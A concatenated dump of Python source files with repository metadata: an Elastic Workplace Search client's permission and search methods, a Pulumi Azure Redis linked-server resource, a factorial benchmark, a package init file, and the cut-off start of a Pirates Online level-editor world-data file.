:arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.PaymentRequiredError: :raises elastic_enterprise_search.NotFoundError: """ if content_source_id in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) if current_page is not None: params.add("page[current]", current_page) if page_size is not None: params.add("page[size]", page_size) return self.perform_request( "GET", to_path( "api", "ws", "v1", "sources", content_source_id, "permissions", ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def remove_user_permissions( self, content_source_id, user, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Removes one or more permissions from an existing set of permissions `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-document-permissions-api.html#remove-one>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg user: The username in context :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.PaymentRequiredError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, user, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "POST", to_path( "api", "ws", "v1", "sources", content_source_id, "permissions", user, "remove", ), body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def search( self, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Search across available sources with various query tuning options `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-search-api.html>`_ :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: """ params = QueryParams(params) return self.perform_request( "POST", "/api/ws/v1/search", body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def add_user_permissions( self, content_source_id, user, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Adds one or more new permissions atop existing permissions `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-document-permissions-api.html#add-one>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg user: The username in context :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.PaymentRequiredError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, user, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "POST", to_path( "api", "ws", "v1", "sources", content_source_id, "permissions", user, "add", ), body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def get_user_permissions( self, content_source_id, user, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Lists all permissions for one user `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-document-permissions-api.html#list-one>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg user: The username in context :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.PaymentRequiredError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, user, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "GET", to_path( "api", "ws", "v1", "sources", content_source_id, "permissions", user, ), params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, ) def put_user_permissions( self, content_source_id, user, body, params=None, headers=None, http_auth=DEFAULT, request_timeout=DEFAULT, ignore_status=(), ): """ Creates a new set of permissions or over-writes all existing permissions `<https://www.elastic.co/guide/en/workplace-search/master/workplace-search-document-permissions-api.html#add-all>`_ :arg content_source_id: Unique ID for a Custom API source, provided upon creation of a Custom API Source :arg user: The username in context :arg body: HTTP request body :arg params: Additional query params to send with the request :arg headers: Additional headers to send with the request :arg http_auth: Access token or HTTP basic auth username and password to send with the request :arg request_timeout: Timeout in seconds :arg ignore_status: HTTP status codes to not raise an error :raises elastic_enterprise_search.BadRequestError: :raises elastic_enterprise_search.UnauthorizedError: :raises elastic_enterprise_search.PaymentRequiredError: :raises elastic_enterprise_search.NotFoundError: """ for param in ( content_source_id, user, ): if param in SKIP_IN_PATH: raise ValueError("Empty value passed for a required argument") params = QueryParams(params) return self.perform_request( "PUT", to_path( "api", "ws", "v1", "sources", content_source_id, "permissions", user, ), body=body, params=params, headers=headers, http_auth=http_auth, request_timeout=request_timeout, ignore_status=ignore_status, )

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48631eadbb959dda7f40176743cbf3a8115f2d4f

22,431

py

Python

sdk/python/pulumi_azure/redis/linked_server.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

109

2018-06-18T00:19:44.000Z

2022-02-20T05:32:57.000Z

sdk/python/pulumi_azure/redis/linked_server.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

663

2018-06-18T21:08:46.000Z

2022-03-31T20:10:11.000Z

sdk/python/pulumi_azure/redis/linked_server.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

41

2018-07-19T22:37:38.000Z

2022-03-14T10:56:26.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['LinkedServerArgs', 'LinkedServer'] @pulumi.input_type class LinkedServerArgs: def __init__(__self__, *, linked_redis_cache_id: pulumi.Input[str], linked_redis_cache_location: pulumi.Input[str], resource_group_name: pulumi.Input[str], server_role: pulumi.Input[str], target_redis_cache_name: pulumi.Input[str]): """ The set of arguments for constructing a LinkedServer resource. :param pulumi.Input[str] linked_redis_cache_id: The ID of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] linked_redis_cache_location: The location of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] resource_group_name: The name of the Resource Group where the Redis caches exists. Changing this forces a new Redis to be created. :param pulumi.Input[str] server_role: The role of the linked Redis cache (eg "Secondary"). Changing this forces a new Redis to be created. :param pulumi.Input[str] target_redis_cache_name: The name of Redis cache to link with. Changing this forces a new Redis to be created. (eg The primary role) """ pulumi.set(__self__, "linked_redis_cache_id", linked_redis_cache_id) pulumi.set(__self__, "linked_redis_cache_location", linked_redis_cache_location) pulumi.set(__self__, "resource_group_name", resource_group_name) pulumi.set(__self__, "server_role", server_role) pulumi.set(__self__, "target_redis_cache_name", target_redis_cache_name) @property @pulumi.getter(name="linkedRedisCacheId") def linked_redis_cache_id(self) -> pulumi.Input[str]: """ The ID of the linked Redis cache. Changing this forces a new Redis to be created. """ return pulumi.get(self, "linked_redis_cache_id") @linked_redis_cache_id.setter def linked_redis_cache_id(self, value: pulumi.Input[str]): pulumi.set(self, "linked_redis_cache_id", value) @property @pulumi.getter(name="linkedRedisCacheLocation") def linked_redis_cache_location(self) -> pulumi.Input[str]: """ The location of the linked Redis cache. Changing this forces a new Redis to be created. """ return pulumi.get(self, "linked_redis_cache_location") @linked_redis_cache_location.setter def linked_redis_cache_location(self, value: pulumi.Input[str]): pulumi.set(self, "linked_redis_cache_location", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Input[str]: """ The name of the Resource Group where the Redis caches exists. Changing this forces a new Redis to be created. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="serverRole") def server_role(self) -> pulumi.Input[str]: """ The role of the linked Redis cache (eg "Secondary"). Changing this forces a new Redis to be created. """ return pulumi.get(self, "server_role") @server_role.setter def server_role(self, value: pulumi.Input[str]): pulumi.set(self, "server_role", value) @property @pulumi.getter(name="targetRedisCacheName") def target_redis_cache_name(self) -> pulumi.Input[str]: """ The name of Redis cache to link with. Changing this forces a new Redis to be created. (eg The primary role) """ return pulumi.get(self, "target_redis_cache_name") @target_redis_cache_name.setter def target_redis_cache_name(self, value: pulumi.Input[str]): pulumi.set(self, "target_redis_cache_name", value) @pulumi.input_type class _LinkedServerState: def __init__(__self__, *, linked_redis_cache_id: Optional[pulumi.Input[str]] = None, linked_redis_cache_location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, server_role: Optional[pulumi.Input[str]] = None, target_redis_cache_name: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering LinkedServer resources. :param pulumi.Input[str] linked_redis_cache_id: The ID of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] linked_redis_cache_location: The location of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] name: The name of the linked server. :param pulumi.Input[str] resource_group_name: The name of the Resource Group where the Redis caches exists. Changing this forces a new Redis to be created. :param pulumi.Input[str] server_role: The role of the linked Redis cache (eg "Secondary"). Changing this forces a new Redis to be created. :param pulumi.Input[str] target_redis_cache_name: The name of Redis cache to link with. Changing this forces a new Redis to be created. (eg The primary role) """ if linked_redis_cache_id is not None: pulumi.set(__self__, "linked_redis_cache_id", linked_redis_cache_id) if linked_redis_cache_location is not None: pulumi.set(__self__, "linked_redis_cache_location", linked_redis_cache_location) if name is not None: pulumi.set(__self__, "name", name) if resource_group_name is not None: pulumi.set(__self__, "resource_group_name", resource_group_name) if server_role is not None: pulumi.set(__self__, "server_role", server_role) if target_redis_cache_name is not None: pulumi.set(__self__, "target_redis_cache_name", target_redis_cache_name) @property @pulumi.getter(name="linkedRedisCacheId") def linked_redis_cache_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the linked Redis cache. Changing this forces a new Redis to be created. """ return pulumi.get(self, "linked_redis_cache_id") @linked_redis_cache_id.setter def linked_redis_cache_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "linked_redis_cache_id", value) @property @pulumi.getter(name="linkedRedisCacheLocation") def linked_redis_cache_location(self) -> Optional[pulumi.Input[str]]: """ The location of the linked Redis cache. Changing this forces a new Redis to be created. """ return pulumi.get(self, "linked_redis_cache_location") @linked_redis_cache_location.setter def linked_redis_cache_location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "linked_redis_cache_location", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the linked server. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> Optional[pulumi.Input[str]]: """ The name of the Resource Group where the Redis caches exists. Changing this forces a new Redis to be created. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="serverRole") def server_role(self) -> Optional[pulumi.Input[str]]: """ The role of the linked Redis cache (eg "Secondary"). Changing this forces a new Redis to be created. """ return pulumi.get(self, "server_role") @server_role.setter def server_role(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server_role", value) @property @pulumi.getter(name="targetRedisCacheName") def target_redis_cache_name(self) -> Optional[pulumi.Input[str]]: """ The name of Redis cache to link with. Changing this forces a new Redis to be created. (eg The primary role) """ return pulumi.get(self, "target_redis_cache_name") @target_redis_cache_name.setter def target_redis_cache_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target_redis_cache_name", value) class LinkedServer(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, linked_redis_cache_id: Optional[pulumi.Input[str]] = None, linked_redis_cache_location: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, server_role: Optional[pulumi.Input[str]] = None, target_redis_cache_name: Optional[pulumi.Input[str]] = None, __props__=None): """ Manages a Redis Linked Server (ie Geo Location) ## Example Usage ```python import pulumi import pulumi_azure as azure example_primary_resource_group = azure.core.ResourceGroup("example-primaryResourceGroup", location="East US") example_primary_cache = azure.redis.Cache("example-primaryCache", location=example_primary_resource_group.location, resource_group_name=example_primary_resource_group.name, capacity=1, family="P", sku_name="Premium", enable_non_ssl_port=False, redis_configuration=azure.redis.CacheRedisConfigurationArgs( maxmemory_reserved=2, maxmemory_delta=2, maxmemory_policy="allkeys-lru", )) example_secondary_resource_group = azure.core.ResourceGroup("example-secondaryResourceGroup", location="West US") example_secondary_cache = azure.redis.Cache("example-secondaryCache", location=example_secondary_resource_group.location, resource_group_name=example_secondary_resource_group.name, capacity=1, family="P", sku_name="Premium", enable_non_ssl_port=False, redis_configuration=azure.redis.CacheRedisConfigurationArgs( maxmemory_reserved=2, maxmemory_delta=2, maxmemory_policy="allkeys-lru", )) example_link = azure.redis.LinkedServer("example-link", target_redis_cache_name=example_primary_cache.name, resource_group_name=example_primary_cache.resource_group_name, linked_redis_cache_id=example_secondary_cache.id, linked_redis_cache_location=example_secondary_cache.location, server_role="Secondary") ``` ## Import Redis can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:redis/linkedServer:LinkedServer example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/group1/providers/Microsoft.Cache/Redis/cache1/linkedServers/cache2 ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] linked_redis_cache_id: The ID of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] linked_redis_cache_location: The location of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] resource_group_name: The name of the Resource Group where the Redis caches exists. Changing this forces a new Redis to be created. :param pulumi.Input[str] server_role: The role of the linked Redis cache (eg "Secondary"). Changing this forces a new Redis to be created. :param pulumi.Input[str] target_redis_cache_name: The name of Redis cache to link with. Changing this forces a new Redis to be created. (eg The primary role) """ ... @overload def __init__(__self__, resource_name: str, args: LinkedServerArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Manages a Redis Linked Server (ie Geo Location) ## Example Usage ```python import pulumi import pulumi_azure as azure example_primary_resource_group = azure.core.ResourceGroup("example-primaryResourceGroup", location="East US") example_primary_cache = azure.redis.Cache("example-primaryCache", location=example_primary_resource_group.location, resource_group_name=example_primary_resource_group.name, capacity=1, family="P", sku_name="Premium", enable_non_ssl_port=False, redis_configuration=azure.redis.CacheRedisConfigurationArgs( maxmemory_reserved=2, maxmemory_delta=2, maxmemory_policy="allkeys-lru", )) example_secondary_resource_group = azure.core.ResourceGroup("example-secondaryResourceGroup", location="West US") example_secondary_cache = azure.redis.Cache("example-secondaryCache", location=example_secondary_resource_group.location, resource_group_name=example_secondary_resource_group.name, capacity=1, family="P", sku_name="Premium", enable_non_ssl_port=False, redis_configuration=azure.redis.CacheRedisConfigurationArgs( maxmemory_reserved=2, maxmemory_delta=2, maxmemory_policy="allkeys-lru", )) example_link = azure.redis.LinkedServer("example-link", target_redis_cache_name=example_primary_cache.name, resource_group_name=example_primary_cache.resource_group_name, linked_redis_cache_id=example_secondary_cache.id, linked_redis_cache_location=example_secondary_cache.location, server_role="Secondary") ``` ## Import Redis can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:redis/linkedServer:LinkedServer example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/group1/providers/Microsoft.Cache/Redis/cache1/linkedServers/cache2 ``` :param str resource_name: The name of the resource. :param LinkedServerArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(LinkedServerArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, linked_redis_cache_id: Optional[pulumi.Input[str]] = None, linked_redis_cache_location: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, server_role: Optional[pulumi.Input[str]] = None, target_redis_cache_name: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = LinkedServerArgs.__new__(LinkedServerArgs) if linked_redis_cache_id is None and not opts.urn: raise TypeError("Missing required property 'linked_redis_cache_id'") __props__.__dict__["linked_redis_cache_id"] = linked_redis_cache_id if linked_redis_cache_location is None and not opts.urn: raise TypeError("Missing required property 'linked_redis_cache_location'") __props__.__dict__["linked_redis_cache_location"] = linked_redis_cache_location if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__.__dict__["resource_group_name"] = resource_group_name if server_role is None and not opts.urn: raise TypeError("Missing required property 'server_role'") __props__.__dict__["server_role"] = server_role if target_redis_cache_name is None and not opts.urn: raise TypeError("Missing required property 'target_redis_cache_name'") __props__.__dict__["target_redis_cache_name"] = target_redis_cache_name __props__.__dict__["name"] = None super(LinkedServer, __self__).__init__( 'azure:redis/linkedServer:LinkedServer', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, linked_redis_cache_id: Optional[pulumi.Input[str]] = None, linked_redis_cache_location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, server_role: Optional[pulumi.Input[str]] = None, target_redis_cache_name: Optional[pulumi.Input[str]] = None) -> 'LinkedServer': """ Get an existing LinkedServer resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] linked_redis_cache_id: The ID of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] linked_redis_cache_location: The location of the linked Redis cache. Changing this forces a new Redis to be created. :param pulumi.Input[str] name: The name of the linked server. :param pulumi.Input[str] resource_group_name: The name of the Resource Group where the Redis caches exists. Changing this forces a new Redis to be created. :param pulumi.Input[str] server_role: The role of the linked Redis cache (eg "Secondary"). Changing this forces a new Redis to be created. :param pulumi.Input[str] target_redis_cache_name: The name of Redis cache to link with. Changing this forces a new Redis to be created. (eg The primary role) """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _LinkedServerState.__new__(_LinkedServerState) __props__.__dict__["linked_redis_cache_id"] = linked_redis_cache_id __props__.__dict__["linked_redis_cache_location"] = linked_redis_cache_location __props__.__dict__["name"] = name __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["server_role"] = server_role __props__.__dict__["target_redis_cache_name"] = target_redis_cache_name return LinkedServer(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="linkedRedisCacheId") def linked_redis_cache_id(self) -> pulumi.Output[str]: """ The ID of the linked Redis cache. Changing this forces a new Redis to be created. """ return pulumi.get(self, "linked_redis_cache_id") @property @pulumi.getter(name="linkedRedisCacheLocation") def linked_redis_cache_location(self) -> pulumi.Output[str]: """ The location of the linked Redis cache. Changing this forces a new Redis to be created. """ return pulumi.get(self, "linked_redis_cache_location") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The name of the linked server. """ return pulumi.get(self, "name") @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Output[str]: """ The name of the Resource Group where the Redis caches exists. Changing this forces a new Redis to be created. """ return pulumi.get(self, "resource_group_name") @property @pulumi.getter(name="serverRole") def server_role(self) -> pulumi.Output[str]: """ The role of the linked Redis cache (eg "Secondary"). Changing this forces a new Redis to be created. """ return pulumi.get(self, "server_role") @property @pulumi.getter(name="targetRedisCacheName") def target_redis_cache_name(self) -> pulumi.Output[str]: """ The name of Redis cache to link with. Changing this forces a new Redis to be created. (eg The primary role) """ return pulumi.get(self, "target_redis_cache_name")

48.23871

204

0.674201

2,772

22,431

5.166667

0.071789

0.093562

0.099427

0.046432

0.887236

0.871736

0.856654

0.836894

0.832914

0.820067

0

0.004863

0.239178

22,431

464

205

48.342672

0.834349

0.40979

0

0.575893

1

0

0.141841

0.07164

0

1

0.15625

false

0.004464

0.022321

0

0.272321

0

null

0

1

0

1

0

null

0

7

6f8add949090b45174a43368df9ab63681599f53

185

py

Python

benchmarks/tail-factorial.py

c1m5j/pancake

f8c3c6045e147a0569d7cc0a11914c2e5306e662

[ "MIT" ]

5

2021-10-09T12:54:10.000Z

2021-10-30T01:29:05.000Z

benchmarks/tail-factorial.py

c1m5j/pancake

f8c3c6045e147a0569d7cc0a11914c2e5306e662

[ "MIT" ]

1

2021-10-31T08:54:15.000Z

benchmarks/tail-factorial.py

c1m5j/pancake

f8c3c6045e147a0569d7cc0a11914c2e5306e662

[ "MIT" ]

1

2021-10-18T06:20:42.000Z

def factorial_accumulate(n, acc): if n == 0: return acc return factorial_accumulate(n - 1, acc*n) def factorial(n): return factorial_accumulate(n, 1) print(factorial(20))

20.555556

45

0.697297

28

185

4.5

0.392857

0.452381

0.47619

0.412698

0.428571

0

0.033113

0.183784

185

8

46

23.125

0.801325

0

1

0.333333

false

0

0.166667

0.666667

0.166667

1

0

null

1

0

1

0

null

0

1

0

1

0

8

6fcd8e6686974e8dc3d5d6017b3bac0a0c41c512

265

py

Python

NameMarkupLanguage/NameMarkInterface/__init__.py

sonnts996/NameMarkLanguage

448db602371e91d661bbf3de40070904a89e85fa

[ "MIT" ]

null

NameMarkupLanguage/NameMarkInterface/__init__.py

sonnts996/NameMarkLanguage

448db602371e91d661bbf3de40070904a89e85fa

[ "MIT" ]

null

NameMarkupLanguage/NameMarkInterface/__init__.py

sonnts996/NameMarkLanguage

448db602371e91d661bbf3de40070904a89e85fa

[ "MIT" ]

null

from NameMarkupLanguage.NameMarkInterface.NameMark import NameMark from NameMarkupLanguage.NameMarkInterface.DefTag import DefTag from NameMarkupLanguage.NameMarkInterface.NMList import NMList from NameMarkupLanguage.NameMarkInterface.DefManager import DefManager

44.166667

70

0.90566

24

265

10

0.333333

0.366667

0.65

0

0.064151

265

5

71

53

0.967742

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

6fd1a56f5dcfa371809d9e29e240e4b6ef669b20

2,649

py

Python

projects/hog/calc.py

wangjiapengone/CS-61A-Fall18

552a39c165b9c15c291967ce261e23dc2985a4b2

[ "MIT" ]

1

2021-01-04T05:08:24.000Z

projects/hog/calc.py

wangjiapengone/CS-61A-Fall18

552a39c165b9c15c291967ce261e23dc2985a4b2

[ "MIT" ]

null

projects/hog/calc.py

wangjiapengone/CS-61A-Fall18

552a39c165b9c15c291967ce261e23dc2985a4b2

[ "MIT" ]

null

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Python

pirates/leveleditor/worldData/SwampTestIslandB.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

81

2018-04-08T18:14:24.000Z

2022-01-11T07:22:15.000Z

pirates/leveleditor/worldData/SwampTestIslandB.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

4

2018-09-13T20:41:22.000Z

2022-01-08T06:57:00.000Z

pirates/leveleditor/worldData/SwampTestIslandB.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

26

2018-05-26T12:49:27.000Z

2021-09-11T09:11:59.000Z

from pandac.PandaModules import Point3, VBase3 objectStruct = {'Locator Links': [['1153868315.8sdnaik0', '1152910060.11sdnaik', 'Bi-directional'], ['1153868315.8sdnaik1', '1152910301.05sdnaik0', 'Bi-directional'], ['1153868634.75sdnaik0', '1152910060.11sdnaik0', 'Bi-directional'], ['1152910307.13sdnaik', '1156281363.2sdnaik1', 'Bi-directional'], ['1156281161.64sdnaik0', '1156281363.2sdnaik0', 'Bi-directional'], ['1153868634.75sdnaik1', '1156302222.63sdnaik', 'Bi-directional']],'Objects': {'1152909972.77sdnaik': {'Type': 'Island','Name': 'SwampTestIslandB','File': '','Objects': {'1152910060.11sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_1','Hpr': VBase3(-18.331, 0.0, 0.0),'Pos': Point3(-219.917, -319.235, 0.595),'Scale': VBase3(1.0, 1.0, 1.0)},'1152910060.11sdnaik0': {'Type': 'Locator Node','Name': 'portal_exterior_2','Hpr': VBase3(68.97, 0.0, 0.0),'Pos': Point3(-285.103, -58.817, 44.049),'Scale': VBase3(1.0, 1.0, 1.0)},'1152910301.05sdnaik': {'Type': 'Island Game Area','File': 'SwampTemplateB','Hpr': VBase3(120.19, 0.0, 0.0),'Objects': {'1152910301.05sdnaik0': {'Type': 'Locator Node','Name': 'portal_interior_1','GridPos': Point3(-606.498, -425.911, 232.255),'Hpr': VBase3(-161.778, 0.0, -180.0),'Pos': Point3(-236.144, -43.732, 21.034),'Scale': VBase3(1.0, 1.0, 1.0)},'1152910307.13sdnaik': {'Type': 'Locator Node','Name': 'portal_interior_2','GridPos': Point3(-27.183, -186.116, 232.255),'Hpr': VBase3(26.445, 0.0, -180.0),'Pos': Point3(453.452, 255.559, 12.06),'Scale': VBase3(1.0, 1.0, 1.0)}},'Pos': Point3(-1143.784, -1199.552, 81.761),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/swamps/swampB'}},'1153868315.8sdnaik': {'Type': 'Connector Tunnel','File': '','Hpr': VBase3(29.967, 0.0, 0.0),'Objects': {'1153868315.8sdnaik0': {'Type': 'Locator Node','Name': 'portal_connector_1','Hpr': VBase3(126.22, 0.0, 0.0),'Pos': Point3(465.537, 517.058, 2.343),'Scale': VBase3(1.0, 1.0, 1.0)},'1153868315.8sdnaik1': {'Type': 'Locator Node','Name': 'portal_connector_2','GridPos': Point3(-155.156, -163.935, 227.03),'Hpr': VBase3(-148.231, 0.0, 0.0),'Pos': Point3(453.452, 255.559, 12.06),'Scale': VBase3(1.0, 1.0, 1.0)}},'Pos': Point3(-432.389, -1775.729, 86.948),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/tunnels/tunnel_swamp_cave'}},'1153868634.75sdnaik': {'Type': 'Connector Tunnel','File': '','Hpr': VBase3(-153.313, 0.0, 0.0),'Objects': {'1153868634.75sdnaik0': {'Type': 'Locator Node','Name': 'portal_connector_1','Hpr': VBase3(126.22, 0.0, 0.0),'Pos': Point3(465.537, 517.058, 2.343),'Scale': VBase3(1.0, 1.0, 1.0)},'1153868634.75sdnaik1': {'Type': 'Locator Node','Name': 'portal_connector_2','GridPos': Point3(-291.911, 214.833, 0.664),'Hpr': VBase3(-148.231, 0.0, 0.0),'Pos': Point3(453.452, 255.559, 12.06),'Scale': VBase3(1.0, 1.0, 1.0)}},'Pos': Point3(-1091.077, 1336.074, 129.211),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Model': 'models/tunnels/tunnel_swamp_cave'}},'1155864372.34sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_1','Hpr': VBase3(-18.331, 0.0, 0.0),'Pos': Point3(-219.917, -319.235, 0.595),'Scale': VBase3(1.0, 1.0, 1.0)},'1155864374.63sdnaik': {'Type': 'Locator Node','Name': 'portal_exterior_2','Hpr': VBase3(68.97, 0.0, 0.0),'Pos': Point3(-285.103, -58.817, 44.049),'Scale': VBase3(1.0, 1.0, 1.0)},'1155864384.91sdnaik': {'Type': 'Cell Portal Area','Name': 'cell_spanish_town','Hpr': Point3(0.0, 0.0, 0.0),'Objects': {'1155866758.05sdnaik': {'Type': 'Building Exterior','File': 'bilgewater_guildhall_interior_a','ExtUid': '1155866758.05sdnaik0','Hpr': VBase3(68.18, 0.0, 0.0),'Pos': Point3(506.389, 141.755, 45.292),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Name': 'English A','Door': 'models/buildings/shanty_guildhall_door','Interior': 'models/buildings/interior_shanty_guildhall','Model': 'models/buildings/english_corner_a'}},'1158184464.98sdnaik': {'Type': 'Building Exterior','File': 'rambleshack_building_int_tavern','ExtUid': '1158184464.98sdnaik0','Hpr': VBase3(-43.794, 0.0, 0.0),'Pos': Point3(560.901, 106.555, 41.918),'Scale': VBase3(1.0, 1.0, 1.0),'Visual': {'Name': '','Door': 'models/buildings/shanty_guildhall_door','Interior': 'models/buildings/interior_tavern','Model': 